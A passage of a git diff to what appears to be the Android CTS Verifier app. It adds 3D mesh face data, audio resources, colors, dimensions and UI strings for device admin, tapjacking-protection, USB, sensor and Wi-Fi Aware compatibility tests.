+f 2182//1023 2206//1023 2183//1023
+f 2184//1022 2183//1022 2208//1022
+f 2184//1021 2208//1021 2161//1021
+f 2186//1044 2185//1044 2210//1044
+f 2186//1043 2210//1043 2187//1043
+f 2187//1042 2211//1042 2188//1042
+f 2188//1041 2212//1041 2189//1041
+f 2189//1040 2213//1040 2190//1040
+f 2190//1039 2214//1039 2191//1039
+f 2191//1038 2215//1038 2192//1038
+f 2193//1037 2192//1037 2217//1037
+f 2194//1036 2193//1036 2218//1036
+f 2194//1035 2218//1035 2195//1035
+f 2196//1034 2195//1034 2220//1034
+f 2196//1033 2220//1033 2197//1033
+f 2198//1056 2197//1056 2222//1056
+f 2198//1055 2222//1055 2199//1055
+f 2200//1054 2199//1054 2224//1054
+f 2200//1053 2224//1053 2201//1053
+f 2202//1052 2201//1052 2226//1052
+f 2203//1051 2202//1051 2227//1051
+f 2204//1050 2203//1050 2228//1050
+f 2205//1049 2204//1049 2229//1049
+f 2205//1048 2229//1048 2206//1048
+f 2207//1047 2206//1047 2231//1047
+f 2208//1046 2207//1046 2232//1046
+f 2208//1045 2232//1045 2185//1045
+f 2210//1068 2209//1068 2234//1068
+f 2211//1067 2210//1067 2235//1067
+f 2211//1066 2235//1066 2212//1066
+f 2213//1065 2212//1065 2237//1065
+f 2213//1064 2237//1064 2214//1064
+f 2214//1063 2238//1063 2215//1063
+f 2215//1062 2239//1062 2216//1062
+f 2216//1061 2240//1061 2217//1061
+f 2217//1060 2241//1060 2218//1060
+f 2218//1059 2242//1059 2219//1059
+f 2219//1058 2243//1058 2220//1058
+f 2220//1057 2244//1057 2221//1057
+f 2221//1080 2245//1080 2222//1080
+f 2223//1079 2222//1079 2247//1079
+f 2224//1078 2223//1078 2248//1078
+f 2224//1077 2248//1077 2225//1077
+f 2226//1076 2225//1076 2250//1076
+f 2226//1075 2250//1075 2227//1075
+f 2228//1074 2227//1074 2252//1074
+f 2229//1073 2228//1073 2253//1073
+f 2230//1072 2229//1072 2254//1072
+f 2231//1071 2230//1071 2255//1071
+f 2231//1070 2255//1070 2232//1070
+f 2232//1069 2256//1069 2209//1069
+f 2233//1092 2257//1092 2234//1092
+f 2234//1091 2258//1091 2235//1091
+f 2236//1090 2235//1090 2260//1090
+f 2237//1089 2236//1089 2261//1089
+f 2238//1088 2237//1088 2262//1088
+f 2239//1087 2238//1087 2263//1087
+f 2239//1086 2263//1086 2240//1086
+f 2241//1085 2240//1085 2265//1085
+f 2242//1084 2241//1084 2266//1084
+f 2242//1083 2266//1083 2243//1083
+f 2243//1082 2267//1082 2244//1082
+f 2245//1081 2244//1081 2269//1081
+f 2245//1104 2269//1104 2246//1104
+f 2246//1103 2270//1103 2247//1103
+f 2247//1102 2271//1102 2248//1102
+f 2249//1101 2248//1101 2273//1101
+f 2249//1100 2273//1100 2250//1100
+f 2251//1099 2250//1099 2275//1099
+f 2251//1098 2275//1098 2252//1098
+f 2252//1097 2276//1097 2253//1097
+f 2253//1096 2277//1096 2254//1096
+f 2254//1095 2278//1095 2255//1095
+f 2256//1094 2255//1094 2280//1094
+f 2233//1093 2256//1093 2257//1093
+f 2258//1116 2257//1116 2282//1116
+f 2258//1115 2282//1115 2259//1115
+f 2259//1114 2283//1114 2260//1114
+f 2260//1113 2284//1113 2261//1113
+f 2261//1112 2285//1112 2262//1112
+f 2262//1111 2286//1111 2263//1111
+f 2263//1110 2287//1110 2264//1110
+f 2264//1109 2288//1109 2265//1109
+f 2265//1108 2289//1108 2266//1108
+f 2266//1107 2290//1107 2267//1107
+f 2267//1106 2291//1106 2268//1106
+f 2268//1105 2292//1105 2269//1105
+f 2270//1128 2269//1128 2294//1128
+f 2271//1127 2270//1127 2295//1127
+f 2272//1126 2271//1126 2296//1126
+f 2273//1125 2272//1125 2297//1125
+f 2274//1124 2273//1124 2298//1124
+f 2275//1123 2274//1123 2299//1123
+f 2276//1122 2275//1122 2300//1122
+f 2277//1121 2276//1121 2301//1121
+f 2278//1120 2277//1120 2302//1120
+f 2278//1119 2302//1119 2279//1119
+f 2280//1118 2279//1118 2304//1118
+f 2280//1117 2304//1117 2257//1117
+f 2281//1140 1//1140 2282//1140
+f 2282//1139 2//1139 2283//1139
+f 2283//1138 3//1138 2284//1138
+f 2284//1137 4//1137 2285//1137
+f 2285//1136 5//1136 2286//1136
+f 2286//1135 6//1135 2287//1135
+f 2288//1134 2287//1134 8//1134
+f 2288//1133 8//1133 2289//1133
+f 2289//1132 9//1132 2290//1132
+f 2291//1131 2290//1131 11//1131
+f 2292//1130 2291//1130 12//1130
+f 2293//1129 2292//1129 13//1129
+f 2293//1152 13//1152 2294//1152
+f 2294//1151 14//1151 2295//1151
+f 2295//1150 15//1150 2296//1150
+f 2297//1149 2296//1149 17//1149
+f 2298//1148 2297//1148 18//1148
+f 2298//1147 18//1147 2299//1147
+f 2299//1146 19//1146 2300//1146
+f 2300//1145 20//1145 2301//1145
+f 2301//1144 21//1144 2302//1144
+f 2303//1143 2302//1143 23//1143
+f 2303//1142 23//1142 2304//1142
+f 2304//1141 24//1141 2281//1141
diff --git a/apps/CtsVerifier/res/raw/ring_sound.wav b/apps/CtsVerifier/res/raw/ring_sound.wav
new file mode 100644
index 0000000..763ef14
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/ring_sound.wav
Binary files differ
diff --git a/apps/CtsVerifier/res/raw/telecom_test_call_audio.ogg b/apps/CtsVerifier/res/raw/telecom_test_call_audio.ogg
new file mode 100644
index 0000000..dde40d4
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/telecom_test_call_audio.ogg
Binary files differ
diff --git a/apps/CtsVerifier/res/values/colors.xml b/apps/CtsVerifier/res/values/colors.xml
index c855d5f..b026260 100644
--- a/apps/CtsVerifier/res/values/colors.xml
+++ b/apps/CtsVerifier/res/values/colors.xml
@@ -12,4 +12,12 @@
     <color name="snsr_warning">#75540C</color>
     <color name="snsr_information_background">#D0D2F6</color>
     <color name="snsr_information">#41576B</color>
+
+    <!-- 6DoF test colors -->
+    <item name="textPrimary" type="color">#FFFFFF</item>
+    <item name="primary" type="color">#43A047</item>
+    <item name="primaryPressed" type="color">#81C784</item>
+    <color name="backgroundGrey">#303030</color>
+    <color name="textSecondary">#B3FFFFFF</color>
+    <color name="yellow">#C0FFFF00</color>
 </resources>
diff --git a/apps/CtsVerifier/res/values/dimens.xml b/apps/CtsVerifier/res/values/dimens.xml
index 8df5b35..0f1ec44 100644
--- a/apps/CtsVerifier/res/values/dimens.xml
+++ b/apps/CtsVerifier/res/values/dimens.xml
@@ -38,4 +38,7 @@
 
     <dimen name="js_padding">10dp</dimen>
 
-</resources>
\ No newline at end of file
+    <!-- Default screen margins, per the Android Design guidelines. -->
+    <dimen name="activity_horizontal_margin">16dp</dimen>
+    <dimen name="activity_vertical_margin">16dp</dimen>
+</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 07fac7a..45e1ff3 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -66,71 +66,6 @@
     <string name="bu_generate_error">Error occurred while generating test data...</string>
     <string name="bu_settings">Settings</string>
 
-    <!-- Strings for BackupTestActivity -->
-    <string name="backup_test">Data Backup Test</string>
-    <string name="backup_info">This test checks that data backup and automatic restore works
-        properly. The test activity lists some preferences and files that are backed up and
-        restored by the CTS Verifier. If backup and restore is working properly, these values
-        should be restored after running the backup manager, uninstalling the app, and reinstalling
-        the CTS Verifier.
-        \n\nPress the \"Generate Test Data\" to populate these values
-        and then follow the on screen instructions to finish the test.
-    </string>
-    <string name="bu_generate">Generate Test Data</string>
-    <string name="bu_preferences">Preferences</string>
-    <string name="bu_files">Files</string>
-    <string name="bu_instructions">Random values for the preferences and files have been saved.
-        \n\nFollow the instructions below to check that the data backup and restore works:
-        \n\n1. Make sure backup and automatic restore are enabled in settings. Depending on the
-        backup transport supported by the device you may need to do additional steps. For instance
-        you may need to set a Google account as the backup account for the device. If you cannot
-        find the corresponding setting options on your device, run \"adb shell bmgr enable true\"
-        to enable the backup manager. You can check its status by executing \"adb shell bmgr
-        enabled\".
-        \n\n2. Run the backup manager: adb shell bmgr run
-        \n\n3. Uninstall the program: adb uninstall com.android.cts.verifier
-        \n\n4. Reinstall the CTS Verifier and verify that the values are still the same.
-    </string>
-
-    <!-- Strings for BackupAccessibilityTestActivity -->
-    <string name="backup_accessibility_test">Backup Accessibility Settings Test</string>
-    <string name="backup_accessibility_info">This test checks that data backup and automatic restore
-        of Accessibility-related settings works properly. If backup and restore is working properly,
-        these values should be restored after running the backup manager, removing your Google
-        account, changing the accessibility settings values, and re-adding your Google account.
-        \n\nPress \"Generate Test Data\" to generate test values for accessibility settings and then
-        follow the on screen instructions to finish the test.
-    </string>
-    <string name="bua_settings">General Accessibility Settings</string>
-    <string name="bua_settings_color_correction">Color Correction Settings</string>
-    <string name="bua_settings_accessibility_services">Accessibility Service Settings</string>
-    <string name="bua_settings_captions">Captions Settings</string>
-    <string name="bua_settings_tts">TTS Settings</string>
-    <string name="bua_settings_system">Other System Settings</string>
-    <string name="bua_instructions">You will need two devices for this test.
-        \n\nFollow the instructions below to check that the data backup and restore of
-        accessibility-related settings works properly:
-        \n\n1. Make sure backup and automatic restore are enabled in settings. If you cannot find
-        the corresponding setting options on your device, run \"adb shell bmgr enable true\" to
-        enable the backup manager. You can check its status by executing \"adb shell bmgr enabled\".
-        You will also need to set a Google account as the backup account for the device.
-        \n\n2. Press \"Read Current Values\" and note the default values for the listed settings.
-        Values that are either \"0\" or \"null\" will appear in green. Note: Some default values are
-        neither \"0\", nor \"null\", so you still need to pay attention to the default setting
-        values that are not highlighted.
-        \n\n3. Change the values of the listed settings to something other than their default value.
-        \n\n4. Return to the CtsVerifier and press \"Read Current Values\". Make sure that you have
-        changed all of the settings.
-        \n\n5. Run the backup manager: adb shell bmgr run
-        \n\n6. Factory reset data on the second device. While going through the Setup Wizard,
-        restore all data from the account on your first device. When prompted, choose to restore all
-        settings from your first device.
-        \n\n7. Install CtsVerifier on your new device and make sure that the values read on the
-        second device match the values on your first device.
-    </string>
-    <string name="bua_show_instructions">Show Instructions</string>
-    <string name="bua_read_settings">Read Current Values</string>
-
     <!-- Strings for Device Administration tests -->
     <string name="da_policy_serialization_test">Policy Serialization Test</string>
     <string name="da_policy_serialization_info">This test checks that a device policy is properly
@@ -139,6 +74,15 @@
         device and verify that all rows in the policy list are green. Red items indicate policy
         settings that were not loaded properly.
     </string>
+    <string name="da_uninstall_test">Device Admin Uninstall Test</string>
+    <string name="da_uninstall_test_info">This test checks that an active device administrator
+        can be easily uninstalled from the application details screen in a way similar to other
+        apps.
+    </string>
+    <string name="da_tapjacking_test">Device Admin Tapjacking Test</string>
+    <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
+        user by obscuring the device admin details while prompting the user to activate the admin.
+    </string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -180,6 +124,33 @@
     <string name="da_lock_success">It appears the screen was locked successfully!</string>
     <string name="da_lock_error">It does not look like the screen was locked...</string>
 
+    <string name="da_install_admin_instructions">Please install the \'Test Device Admin\' app on the device.
+        If needed, grant \'Cts Verifier\' permission to install unknown apps, and return when install succeeds.
+    </string>
+    <string name="da_install_admin_button_text">Install admin</string>
+    <string name="da_enable_admin_instructions">Add \'Test Device Admin\' as an active administrator on the device.
+        Tap the button below to review the device admin details and activate the administrator.
+    </string>
+    <string name="da_enable_admin_button_text">Enable admin</string>
+    <string name="da_uninstall_admin_instructions">Attempt to uninstall the app from the application details page of the \'Test Device Admin\' app.
+        You should see another screen showing the device admin details before you can uninstall the app from the device.
+        Wait till the app is uninstalled before returning to this page.
+    </string>
+    <string name="da_uninstall_admin_button_text">Launch settings</string>
+
+    <string name="da_tapjacking_overlay_app_description">This activity attempts to tapjack the activity below.\n
+        Any security sensitive controls below should not respond to taps as long as this activity is visible.</string>
+    <string name="da_tapjacking_instructions">
+        1. Launch the device admin add screen by pressing the button below.\n
+        2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
+        3. The button to activate the admin should be disabled and should not register any taps.\n
+        4. Press \'back\' to exit the overlaying transparent activity.\n
+        5. Press \'back\' to exit the device admin details and return to this screen.\n
+        Pass the test if the device admin could not be activated while the details
+        window was being obscured.
+    </string>
+    <string name="da_tapjacking_button_text">Enable device admin</string>
+
     <!-- Strings for lock bound keys test -->
     <string name="sec_lock_bound_key_test">Lock Bound Keys Test</string>
     <string name="sec_lock_bound_key_test_info">
@@ -502,6 +473,15 @@
     <string name="ble_mtu_mismatch_message">MTU is not correct.(Request:%1$d, Actual:%2$d)</string>
     <string name="ble_mtu_fail_message">MTU test: failed to receive data</string>
 
+    <string name="companion_test">Companion Device Test</string>
+    <string name="companion_test_info">
+        This test checks that APIs to manage companion devices are working correctly,
+        including showing the dialog to the user to verify a device, as well as updating an internal
+        record once the user made the choice and then removing it.\n\n
+        Before proceeding, make sure you have a bluetooth device nearby and discoverable.
+        Once you press the button, wait for a dialog to pop up and select your device from the list.
+    </string>
+
     <!-- Strings for FeatureSummaryActivity -->
     <string name="feature_summary">Hardware/Software Feature Summary</string>
     <string name="feature_summary_info">This is a test for...</string>
@@ -576,6 +556,7 @@
     <string name="location_gnss_measure_no_location_test">GNSS Measurement Before Location Test</string>
     <string name="location_gnss_reg_test">GNSS Measurement Registration Test</string>
     <string name="location_gnss_value_test">GNSS Measurement Values Test</string>
+    <string name="location_gnss_ttff_test">GNSS TTFF Test</string>
     <string name="location_gnss_nav_msg_test">GNSS Navigation Message Test</string>
     <string name="location_gnss_status_test">GNSS Status Test</string>
     <string name="location_gnss_test_info">This test verifies basic GNSS behavior.
@@ -800,9 +781,12 @@
     <string name="snsr_device_admin_receiver">Sensor Tests Device Admin Receiver</string>
     <string name="snsr_test_summary">Tests passed: %1$d, Tests skipped: %2$d, Tests failed: %3$d</string>
     <string name="snsr_test_complete">Test completed without errors.</string>
-    <string name="snsr_test_complete_with_errors">Test completed with errors: those errors
-        might degrade the user experience and might cause some applications to misbehave. They are
-        not required for Android Compatibility at this time, but will in a future release.</string>
+    <string name="snsr_test_complete_with_errors">Test completed with errors which indicates
+      the device does not meet Android compatibility requirement.
+      This will degrade user experience and cause applications to misbehave.
+      To help debugging, please take a bug report and back up contents under
+      /sdcard/sensorTests of the device under test.
+    </string>
     <string name="snsr_test_pass">PASS</string>
     <string name="snsr_test_skipped">SKIPPED</string>
     <string name="snsr_test_fail">FAIL</string>
@@ -820,8 +804,9 @@
     <string name="snsr_wait_to_begin">Press \'Next\' to begin.</string>
     <string name="snsr_on_complete_return">After completing the task, go back to this test.</string>
     <string name="snsr_movement_expected">Movement was expected during the test. Found=%1$b.</string>
-    <string name="snsr_sensor_feature_deactivation">Turn off any special features installed in the
-        device that register for sensors. Once you are done, you can begin the test.</string>
+    <string name="snsr_sensor_feature_deactivation">IMPORTANT NOTE: Please also turn off any special features in the
+        device that use sensors (wake up gestures, motion triggered events, moves, etc).
+        Not doing so is expected to cause test failures. Once you are done, you can begin the test.</string>
     <string name="snsr_setting_mode_request">You will be redirected to set \'%1$s\' to: %2$s.</string>
     <string name="snsr_setting_mode_set">\'%1$s\' set to: %2$s.</string>
     <string name="snsr_setting_mode_not_set">\'%1$s\' not set to: %2$s.</string>
@@ -894,7 +879,7 @@
     <string name="snsr_event_time">Sensor(%5$s). Event timestamp expected to be synchronized with SystemClock.elapsedRealtimeNanos(). Event received at=%1$d. Event timestamp=%2$d. Delta=%3$d. Threshold=%4$d.</string>
 
     <!-- Sensor Batching -->
-    <string name="snsr_batch_test">Sensor Batching Tests</string>
+    <string name="snsr_batch_test">Sensor Batching Manual Tests</string>
     <string name="snsr_batching_walking_needed">Once the test begins, you will have to take the
         device in your hand and walk.</string>
 
@@ -937,7 +922,23 @@
     <string name="snsr_significant_motion_cancelation">Expected to be able to cancel TriggerSensor. Found=%b.</string>
     <string name="snsr_significant_motion_ap_suspend">One you begin the test, disconnect USB, turn off the display and allow the device to go into suspend.
     You will need to walk to ensure that Significant Motion triggers. The screen will turn on and a sound will be played once the test completes.</string>
-    <string name="snsr_device_did_not_wake_up_at_trigger">Device did not wakeup at tigger time. wakeTime=%1$d ms triggerTime=%2$d ms</string>
+    <string name="snsr_device_did_not_wake_up_at_trigger">Device did not wakeup at trigger time. wakeTime=%1$d ms triggerTime=%2$d ms</string>
+
+    <!-- Low Latency Off-Body Detect -->
+    <string name="snsr_offbody_sensor_test">Off Body Sensor Tests</string>
+    <string name="snsr_offbody_sensor_registration">Registration failed for low latency offbody detect sensor.\n</string>
+    <string name="snsr_offbody_event_arrival">Expected to receive a low latency offbody detect event. Found=%b.</string>
+    <string name="snsr_offbody_event_type">Event expected to be of type=%1$d. Found=%2$d.</string>
+    <string name="snsr_offbody_event_invalid_value">Invalid value received for offbody state; Expected value %1$d or %2$d. Found=%2$d.</string>
+    <string name="snsr_offbody_event_wrong_value">Expected to receive an event having value=%1$d. Found=%2$d.</string>
+    <string name="snsr_offbody_event_unexpected">Event not expected to trigger. Triggered=%1$s.</string>
+    <string name="snsr_offbody_response_timing_violation">%1$s event maximum allowed latency is %2$d. Found=%3$d ms.</string>
+    <string name="snsr_offbody_state_change">Offbody state changed to %1$d. Timestamp=%2$d.</string>
+    <string name="snsr_start_offbody_sensor_test_instr">Put watch on your wrist and then click Next button.</string>
+    <string name="snsr_start_onbody_sensor_test_instr">Remove the watch from your wrist and then click Next button.</string>
+    <string name="snsr_offbody_detect_test_instr">Click Next button, then immediate remove the watch from your wrist.</string>
+    <string name="snsr_onbody_detect_test_instr">Click Next button, then immediately attach the watch on your wrist.</string>
+    <string name="snsr_ap_wake_offbody_detect_test_instr">Click Next button, then palm the screen. Wait a few seconds after screen blackens, then remove watch from wrist.</string>
 
     <!-- Strings for Sensor CTS tests inside CtsVerifier -->
     <string name="snsr_single_sensor_tests">CTS Single Sensor Tests</string>
@@ -1075,35 +1076,62 @@
 
     <!-- Strings for USB accessory test activity -->
     <string name="usb_accessory_test">USB Accessory Test</string>
-    <string name="sensor_power_test">Sensor Power Test</string>
     <string name="usb_accessory_test_info">
-        1. Connect your Android device to a computer and ensure that the connection is set
-        to charging only from the Android device.
-        \n\n2.Run the \'cts-usb-accessory\' program included with the CTS Verifier bundle.
-        \n\n3. If you have not started the CTS Verifier, press \'OK\' when asked to open the CTS
-        Verifier when the accessory is connected. \n\nIf you are already in this test,
-        then you can press \'Cancel\' but press \'OK\' in the next dialog asking whether to allow
-        CTS Verifier to access the accessory.
-        \n\n4. You should see the accessory and the CTS Verifier display a series of messages
-        which indicates that the accessory support is working properly, and then you will
-        be presented with more instructions.
+        1. Install the Cts Verifier USB Companion app on a separate helper device.
+        \n\n2. Start the accessory test companion in the Cts Verifier USB Companion.
+        \n\n3. Connect the two devices. If using a OTG adapter make sure the adapter is directly connected to the helper device. If using an Type-C cable make sure that the helper device is set as "supply power to the attached device".
+        \n\n4. Confirm access to the USB device on the helper device.
+        \n\n5. Confirm access to the USB accessory on this device
+        \n\n6. Confirm access to the USB device on the helper again.
+        \n\n7. Test will run and complete automatically in less than 30 seconds.
+        \n\n8. Cancel all further dialogs on this device
     </string>
-    <string name="usb_not_available_title">USB accessory feature is not available?</string>
-    <string name="usb_not_available_message">If your device is supposed to support USB accessories, your API implementation is not behaving correctly!</string>
-    <string name="usb_received_messages">Received Messages</string>
-    <string name="usb_reconnect_title">Disconnect and Reconnect</string>
-    <string name="usb_disconnect_message">Please disconnect the Android device and the computer.</string>
-    <string name="usb_connect_message">Please connect the Android device and the computer. Do not interact with the device until prompted.</string>
-    <string name="usb_reconnect_timeout">Test failed because reconnect timed out. You can interact with the device again.</string>
-    <string name="usb_reconnect_abort">Abort Test</string>
-    <string name="usb_wait_for_done">Could not find USB accessory. Try waiting longer.</string>
-    <string name="usb_sent_messages">Sent Messages</string>
-    <string name="usb_no_messages">No messages</string>
-    <string name="usb_message_thread_started">Starting message processing...</string>
-    <string name="usb_message_thread_exception">Exception occurred while processing a message...</string>
-    <string name="usb_message_thread_ended">Stopping message processing...</string>
-    <string name="usb_test_passed">Test passed, pass button enabled! You can interact with the device again.</string>
-    <string name="usb_file_descriptor_error">Could not open file descriptor for USB accessory... try reconnecting and restarting the accessory?</string>
+    <string name="usb_accessory_test_step1">
+        In this specific order:
+        \n1. Install the Cts Verifier USB Companion app on a separate helper device.
+        \n2. Start the accessory test companion in the Cts Verifier USB Companion.
+        \n3. Connect the two devices. If using a OTG adapter make sure the adapter is directly connected to the helper device. If using an Type-C cable make sure that the helper device is set as "supply power to the attached device".
+        \n4. Confirm access to the USB device on the helper device. Only confirm once.
+        \n5. Confirm access to the USB accessory on this device.
+        \n6. Confirm access to the USB device on the helper device again.
+        \n\nResult: A progress indicator should appear or test will finish.
+    </string>
+    <string name="usb_accessory_test_step2">
+        Test is running and will complete automatically in less than 30 seconds.
+    </string>
+
+    <!-- String for the USB device test activity -->
+    <string name="usb_device_test">USB Device Test</string>
+    <string name="usb_device_test_info">
+        1. Install the Cts Verifier USB Companion app on a separate helper device.
+        \n\n2. Start the device test companion in the Cts Verifier USB Companion.
+        \n\n3. Connect the two devices. If using a OTG adapter make sure the adapter is directly connected to this device. If using an Type-C cable make sure that this device is set as "supply power to the attached device".
+        \n\n4. Confirm access to the USB device on this device.
+        \n\n5. Confirm access to the USB accessory on the helper device.
+        \n\n6. Confirm access to the USB device on this device again.
+        \n\n7. Test will run and complete automatically in less than 30 seconds.
+        \n\n8. Cancel all further dialogs on the helper device.
+    </string>
+    <string name="usb_device_test_step1">
+        In this specific order:
+        \n1. Install the Cts Verifier USB Companion app on a separate helper device.
+        \n2. Start the device test companion in the Cts Verifier USB Companion.
+        \n3. Connect the two devices. If using a OTG adapter make sure the adapter is directly connected to this device. If using an Type-C cable make sure that this device is set as "supply power to the attached device".
+        \n\nResult: A dialog should show up on this device asking for access to a USB device.
+    </string>
+    <string name="usb_device_test_step2">
+        Confirm access to the USB device on this device.
+        \n\nResult: Dialogs should show up on this device and on the helper device asking for access to a USB device/accessory.
+    </string>
+    <string name="usb_device_test_step3">
+        1. Confirm access to the USB accessory on the helper device.
+        \n2. Confirm access to the USB device on this device again.
+        \n\nResult: A progress indicator should appear or test will finish.
+    </string>
+    <string name="usb_device_test_step4">
+        Test is running and will complete automatically in a less than 30 seconds.
+    </string>
+    <string name="usb_device_unexpected">Usb companion device is not as expected %1$s. Please retry test.</string>
 
     <!-- Strings for MTP host test activity -->
     <string name="mtp_host_test">MTP Host Test</string>
@@ -1213,15 +1241,15 @@
     <string name="p2p_go_neg_requester_info">
         Go to the Wi-Fi settings and forget all remembered networks.  Then
         start the \"GO Negotiation Responder Test\" on the other device.
-        Then run each test individually by clicking on it\'s name.</string>
+        Then run each test individually by clicking on its name.</string>
     <string name="p2p_join_go_info">
         Go to the Wi-Fi settings and forget all remembered networks.  Then
         start the \"Group Owner Test\" on the other device.
-        Then run each test individually by clicking on it\'s name.</string>
+        Then run each test individually by clicking on its name.</string>
     <string name="p2p_service_discovery_requester_info">
         Go to the Wi-Fi settings and forget all remembered networks.  Then
         start the \"Service Discovery Responder Test\" on the other device.
-        Then run each test individually by clicking on it\'s name.</string>
+        Then run each test individually by clicking on its name.</string>
 
     <string name="p2p_not_enabled">Wi-Fi is not enabled</string>
     <string name="p2p_not_enabled_message">These tests require Wi-Fi to be enabled.
@@ -1306,6 +1334,91 @@
     <string name="p2p_waiting_for_peer_to_disconnect">Waiting for peer
         to disconnect ...</string>
 
+    <!-- Strings for TestListActivity -->
+    <string name="aware_test">Wi-Fi Aware Test</string>
+    <string name="aware_test_info">
+        The Wi-Fi Aware tests require two devices with Wi-Fi enabled. One device must
+        be the candidate device running the software build to be tested, while the other
+        device must be an implementation already known to be compatible.\n\nThere are
+        tests for Publisher and Subscriber, Responder and Initiator. One device should
+        start in a role, and the other should start in the complementary
+        role. Your device must pass the tests in all roles.
+    </string>
+    <string name="aware_not_enabled">Wi-Fi is not enabled</string>
+    <string name="aware_not_enabled_message">These tests require Wi-Fi to be enabled.
+        Click the button below to go to system settings and enable Wi-Fi.</string>
+    <string name="aware_settings">Wi-Fi Settings</string>
+    <string name="aware_setup_error">
+        Test failed.\n\nSet up error. Check whether Wi-Fi is enabled.</string>
+    <string name="aware_unexpected_error">
+        Test failed.\n\nUnexpected error. Check logcat.</string>
+
+    <string name="aware_dp_ib_open_unsolicited">Data Path: Open: Unsolicited/Passive</string>
+    <string name="aware_dp_ib_passphrase_unsolicited">Data Path: Passphrase: Unsolicited/Passive</string>
+    <string name="aware_dp_ib_open_solicited">Data Path: Open: Solicited/Active</string>
+    <string name="aware_dp_ib_passphrase_solicited">Data Path: Passphrase: Solicited/Active</string>
+    <string name="aware_publish">Publish</string>
+    <string name="aware_subscribe">Subscribe</string>
+
+    <string name="aware_dp_oob_open">Data Path (OOB): Open</string>
+    <string name="aware_dp_oob_passphrase">Data Path (OOB): Passphrase</string>
+    <string name="aware_responder">Responder</string>
+    <string name="aware_initiator">Initiator</string>
+
+    <string name="aware_status_attached">Attached ...</string>
+    <string name="aware_status_attach_fail">Attach failure!</string>
+    <string name="aware_status_attach_timeout">Attach failure - timed out!</string>
+    <string name="aware_status_identity">Discovery (Identity) MAC address: %1$s ...</string>
+    <string name="aware_status_identity_fail">Identity listener failure - timed out!</string>
+    <string name="aware_status_subscribe_started">Subscribe discovery session started ...</string>
+    <string name="aware_status_subscribe_failed">Subscribe failure!</string>
+    <string name="aware_status_subscribe_timeout">Subscribe failure - timed out!</string>
+    <string name="aware_status_subscribe_null_session">Subscribe failure - null session!</string>
+    <string name="aware_status_publish_started">Publish discovery session started ...</string>
+    <string name="aware_status_publish_failed">Publish failure!</string>
+    <string name="aware_status_publish_timeout">Publish failure - timed out!</string>
+    <string name="aware_status_publish_null_session">Publish failure - null session!</string>
+    <string name="aware_status_discovery">Service discovered ...</string>
+    <string name="aware_status_discovery_timeout">Service discovery failure - timed out!</string>
+    <string name="aware_status_discovery_fail">Service discovery failure - parameter mismatch!</string>
+    <string name="aware_status_send_success">Sent message successfully ...</string>
+    <string name="aware_status_send_failed">Send message failure!</string>
+    <string name="aware_status_send_timeout">Send message failure - timed out!</string>
+    <string name="aware_status_send_fail_parameter">Send message failure - mismatched ids!</string>
+    <string name="aware_status_received">Received message ...</string>
+    <string name="aware_status_received_mac">Received peer MAC address: %1$s ...</string>
+    <string name="aware_status_receive_timeout">Receive message failure - timed out!</string>
+    <string name="aware_status_receive_failure">Receive message failure - didn\'t receive expected message!</string>
+    <string name="aware_status_network_requested">Network requested ...</string>
+    <string name="aware_status_network_success">Network formed ...</string>
+    <string name="aware_status_network_failed">Network request failure - timed out!</string>
+    <string name="aware_status_sleeping_wait_for_responder">Pausing to let Responder time to set up ...</string>
+    <string name="aware_status_lifecycle_ok">Discovery lifecycle validated!</string>
+
+    <string name="aware_data_path_open_unsolicited_publish">Data Path: Open: Unsolicited Publish</string>
+    <string name="aware_data_path_open_unsolicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Open: Unsolicited/Passive\' / \'Subscribe\' test.</string>
+    <string name="aware_data_path_open_passive_subscribe">Data Path: Open: Passive Subscribe</string>
+
+    <string name="aware_data_path_passphrase_unsolicited_publish">Data Path: Passphrase: Unsolicited Publish</string>
+    <string name="aware_data_path_passphrase_unsolicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Passphrase: Unsolicited/Passive\' / \'Subscribe\' test.</string>
+    <string name="aware_data_path_passphrase_passive_subscribe">Data Path: Passphrase: Passive Subscribe</string>
+
+    <string name="aware_data_path_open_solicited_publish">Data Path: Open: Solicited Publish</string>
+    <string name="aware_data_path_open_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Open: Solicited/Active\' / \'Subscribe\' test.</string>
+    <string name="aware_data_path_open_active_subscribe">Data Path: Open: Active Subscribe</string>
+
+    <string name="aware_data_path_passphrase_solicited_publish">Data Path: Passphrase: Solicited Publish</string>
+    <string name="aware_data_path_passphrase_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Passphrase: Solicited/Active\' / \'Subscribe\' test.</string>
+    <string name="aware_data_path_passphrase_active_subscribe">Data Path: Passphrase: Active Subscribe</string>
+
+    <string name="aware_data_path_oob_open_responder">Data Path (OOB): Open: Responder</string>
+    <string name="aware_data_path_oob_open_responder_info">The responder is now ready.\n\nOn the other device: start the \'Data Path (OOB): Open\' / \'Initiator\' test.</string>
+    <string name="aware_data_path_oob_open_initiator">Data Path (OOB): Open: Initiator</string>
+
+    <string name="aware_data_path_oob_passphrase_responder">Data Path (OOB): Passphrase: Responder</string>
+    <string name="aware_data_path_oob_passphrase_responder_info">The responder is now ready.\n\nOn the other device: start the \'Data Path (OOB): Passphrase\' / \'Initiator\' test.</string>
+    <string name="aware_data_path_oob_passphrase_initiator">Data Path (OOB): Passphrase: Initiator</string>
+
     <string name="camera_fov_calibration">Camera FOV Calibration</string>
     <string name="camera_fov_calibration_done">Done</string>
     <string name="camera_fov_general_settings">General settings</string>
@@ -1385,11 +1498,18 @@
     <string name="attention_some_are_filtered">Check that \"Priority\" mode doesn\'t filter priority notifications.</string>
     <string name="attention_all_are_filtered">Check that \"None\" mode filters all notifications.</string>
     <string name="nls_test">Notification Listener Test</string>
+    <string name="nas_test">Notification Assistant Test</string>
     <string name="nls_service_name">Notification Listener for CTS Verifier</string>
     <string name="nls_info">This test checks that a NotificationListenerService can be enabled
         and disabled, and that once enabled the service is able to receive notifications and
         dismiss them.
     </string>
